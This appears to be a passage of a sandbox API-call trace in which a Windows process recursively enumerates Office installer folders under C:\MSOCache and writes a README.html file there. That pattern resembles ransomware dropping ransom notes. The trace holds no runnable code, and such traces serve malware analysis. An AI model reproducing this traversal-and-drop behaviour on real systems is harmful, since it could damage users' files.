	[0050.219] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.219] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0050.219] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda64 | out: lpFindFileData=0x123eda64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.219] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.219] CreateFileW (lpFileName="C:\\MSOCache\\README.html" (normalized: "c:\\msocache\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0050.219] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x123ece5c | out: lpMode=0x123ece5c) returned 0
	[0050.220] WriteFile (in: hFile=0xc0, lpBuffer=0x12716000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x123ece4c, lpOverlapped=0x0 | out: lpBuffer=0x12716000*, lpNumberOfBytesWritten=0x123ece4c*=0xc5a, lpOverlapped=0x0) returned 1
	[0050.221] CloseHandle (hObject=0xc0) returned 1
	[0050.221] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12694dc0*, nNumberOfCharsToWrite=0x26, lpNumberOfCharsWritten=0x123ec9dc, lpReserved=0x0 | out: lpBuffer=0x12694dc0*, lpNumberOfCharsWritten=0x123ec9dc*=0x26) returned 1
	[0050.222] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), fInfoLevelId=0x0, lpFileInformation=0x1270e4b8 | out: lpFileInformation=0x1270e4b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.223] CreateFileW (lpFileName="C:\\MSOCache\\All Users" (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.223] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\*", lpFindFileData=0x123ed9e0 | out: lpFindFileData=0x123ed9e0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.224] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x435769e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x43bdc500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0054-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9EA85~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~4")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1
	[0050.225] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1
	[0050.226] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfe09ced0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x18179b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18179b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0011-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~1")) returned 1
	[0050.226] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa8c22f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c22f80, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-003B-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~3")) returned 1
	[0050.226] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0x46538340, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x4a6d41a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d41a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91140000-0057-0000-1000-0000000FF1CE}-C", cAlternateFileName="{91140~2")) returned 1
	[0050.226] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123eda00 | out: lpFindFileData=0x123eda00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.226] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.226] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270ea58 | out: lpFileInformation=0x1270ea58*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.228] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0050.228] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0050.229] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.229] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x1270ebe8 | out: lpFileInformation=0x1270ebe8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1
	[0050.229] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), fInfoLevelId=0x0, lpFileInformation=0x1270ec38 | out: lpFileInformation=0x1270ec38*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00)) returned 1
	[0050.230] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270ec88 | out: lpFileInformation=0x1270ec88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d)) returned 1
	[0050.230] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x1270ecd8 | out: lpFileInformation=0x1270ecd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8)) returned 1
	[0050.231] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x1270ed28 | out: lpFileInformation=0x1270ed28*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.231] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.232] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x123ed97c | out: lpFindFileData=0x123ed97c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1
	[0050.233] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x123ed99c | out: lpFindFileData=0x123ed99c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1
